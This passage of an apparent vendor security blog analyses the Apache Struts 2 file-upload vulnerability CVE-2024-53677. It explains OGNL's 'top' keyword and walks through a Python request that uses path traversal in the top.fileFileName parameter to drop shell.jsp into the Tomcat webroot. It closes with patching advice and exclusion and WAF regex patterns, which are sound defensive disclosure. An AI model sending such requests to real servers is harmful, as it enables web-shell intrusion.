The value stack simplifies data access between the action, the view, and other components. Unlike a standard stack, it acts as an intermediary for the objects it contains. It also facilitates access to data in the view through OGNL expressions, enabling developers to retrieve stored data efficiently. Consider the following example, where a couple of objects are stored in the value stack.

Figure 2. An example depicting how identically named values for different objects are retrieved from a value stack.
Figure 2. An example depicting how identically named values for different objects are retrieved from a value stack.

When retrieving the value of the expression “x,” the value stack searches for an object with a property named x, starting from the top. The first occurrence is returned, which is the rectangle’s x value in our example. To get the circle’s x value, the indexing syntax [1] can be used to select the second object.

Interceptors

Interceptors are components that process the request before and after an action is executed. They handle tasks such as data validation, logging, and exception handling. In this blog post, we will focus exclusively on the file upload and the parameters interceptors, which are used by default. The ParametersInterceptor assigns HTTP parameters to the corresponding attributes in the action object if it exists. The parameter interceptor uses the OGNL expressions and the value stack to set the value of the action attributes. Likewise, the FileUploadInterceptor class is responsible for preparing the file upload data, by setting the following attributes: the temporary file location, the original file name, and its content type. It relies on the parameters interceptor to set the attributes, by inserting the values into the existing parameters map.

File upload process

The Struts2 file upload process works as follows:

  1. A parameters map is created and populated with non-file HTTP parameters.
  2. The FileUploadInterceptor inserts file details into the parameters map.
  3. The ParametersInterceptor sets action class attributes using the value stack.
  4. The action class is executed, and the file is moved to the /uploads directory.

Understanding the Apache Struts 2 vulnerability

First, let’s examine the example exploit below. A POST request is sent to upload a benign-looking text file named user_file.txt. In our previous file upload example, this file would be uploaded and saved as /uploads/user_file.txt.

However, notice the suspicious path../usr/local/tomcat/webapps/ROOT/shell.jsp in the additional HTTP parameter top.fileFileName. As a result of this path traversal attack, the file will be stored in /usr/local/tomcat/webapps/ROOT/ as shell.jsp instead. This not only makes the uploaded file accessible via the web server but it also makes it executable because of the .jsp extension.

requests.post(
  f"http://localhost:8080/upload.action",
  files={"file": ("user_file.txt", open("user_file.txt").read(), "text/plain")}
  data={"top.fileFileName": "../usr/local/tomcat/webapps/ROOT/shell.jsp"}
)

To understand how the vulnerability works, we need to figure out how the attacker uses the top.fileFileName parameter to alter the file upload location. At first glance, the fileFileName part is the attribute name of our example action class. This attribute should be set by the FileUploadInterceptor. However, an attacker can overwrite it using the top.fileFileName HTTP parameter as part of a mass assignment attack, where they can infer the attribute’s name in the action class. Subsequently, when the action is executed, the temporary uploaded file is copied to a location provided by the attacker.

// UPLOAD_DIR = "/uploads"
// fileFileName = "../usr/local/tomcat/webapps/ROOT/shell.jsp")
File destFile = new File(UPLOAD_DIR, fileFileName);
 
// file = File("TEMP_FILE_LOCATION")
// destFile = File("/usr/local/tomcat/webapss/ROOT/shell.jsp")
FileUtils.copyFile(file, destFile);

So, how does the top. part of the added parameter affects the file upload flow and allows overwriting the file name attribute? Looking at the framework’s documentation, we’re unable to find any reference to such a keyword. However, we do find string references in the source code and a comment in OgnlUtil.java#L503 hinting that top is a special keyword in OGNL.

//special keyword, they must be cutting the stack
if ("top".equals(property)) {
    return root;
}

Another reference to the keyword in CompoundRootAccessor.java#L129 shows that the keyword can be used to retrieve the first element of root, which is an object that holds the elements of the value stack.

if ("top".equals(name)) {
    if (root.size() > 0) {
        return root.get(0);
//... 

We also notice a reference to the top keyword in DefaultExcludedPatternsChecker.java#L39, which is used across different interceptors to check if a given string matches one of the excluded patterns, according to the documentation. This was added to address an earlier vulnerability CVE-2015-5209.

The top is an undocumented keyword intended for exclusive internal use. As mentioned in an earlier version of the security bulletin S2-026, it was also considered for removal.

“Support for expression using top will be dropped in upcoming Struts version 2.5!”

Selecting the first element of the stack is crucial for the exploit to function correctly. This is because, during the execution of an action, the top of the value stack is the action object itself. Additionally, directly using the field name as an expression does not add it to the parameters list, as the same key is used by the FileUploadInterceptor class to insert the file name.

We have seen how the special top keyword allows access to the first element in the value stack. The equivalent indexing syntax ([0]) could also have been used; however, we find that it does not match the accepted patterns defined in DefaultAcceptedPatternsChecker.java#L39.

To summarize, the following illustration demonstrates how the action attributes were set during the request interception before executing the action.

A step-by-step chart on how action attributes are processed before executing the UploadAction.
Figure 3. A step-by-step chart on how action attributes are processed before executing the UploadAction.

For file fields that accept multiple files, the corresponding action attribute should be of type List<String>.

private List fileFileName;

In this scenario, the exploit can be adapted for this type. The indexing syntax ([0]) can be used to select an element from the list. For example, using a parameter named fileFileName[0]. The accepted parameter patterns mentioned above would allow such a name, and the usage of the top keyword is no longer necessary.

Detecting and patching the Apache Struts 2 vulnerability

This vulnerability affects Apache Struts versions from 2.0.0 up to, but not including, 7.0.0. Although the vulnerable FileUploadInterceptor class was deprecated in version 6.4.0 with a vendor recommendation to migrate to the newly introduced ActionFileUploadInterceptor mechanism, the old vulnerable file upload class is completely removed only starting from version 7.0.0. Upgrading to version 6.4.0 is not enough to fully mitigate the risk.

To mitigate this vulnerability, we recommend taking one of the following actions:

  • Upgrade to version 7.0.0 or higher and migrate your file upload actions to use the new ActionFileUploadInterceptor.
  • When upgrading to version 6.4.0 or higher, developers must ensure that all file upload implementations have been refactored to the new ActionFileUploadInterceptor.
  • Exclude certain parameters containing FileName or ContentType patterns from being processed. The following example adds a regular expression to the Parameters interceptor exclusion pattern:
<interceptor-ref name="defaultStack">
<param name="params.excludeParams">^(?:top\.\w+(?:FileName|ContentType))|(?:\w+(?:FileName|ContentType)\[\d+\])$</param>
</interceptor-ref>
  • Modifying the WAF configuration to block requests that include parameters matching the following regular expression:

^(?:top\.\w+(?:FileName|ContentType))|(?:\w+(?:FileName|ContentType)\[\d+\])$.

Runtime Vulnerability Analytics

Organizations still running Apache Struts versions before 7.0.0 are potentially at risk and should discontinue using the legacy file upload mechanism. Dynatrace Runtime Vulnerability Analytics can help detect if the vulnerable method is actively being used within your applications. This allows you to prioritize alerts and strategically address the most critical issues. We’re continuously expanding our vulnerability insights enabling you to stay ahead of potential risks.

Dynatrace Vulnerabilities App showing the vulnerable FileUploadInterceptor actively in use.
Figure 4. Dynatrace Vulnerabilities App showing the vulnerable FileUploadInterceptor actively in use.
Stay tuned as we dive into the details of upcoming vulnerabilities.

The post The anatomy of broken Apache Struts 2: A technical deep dive into CVE-2024-53677 appeared first on Dynatrace news.

]]>
https://www.dynatrace.com/news/blog/the-anatomy-of-broken-apache-struts-2-a-technical-deep-dive-into-cve-2024-53677/feed/ 0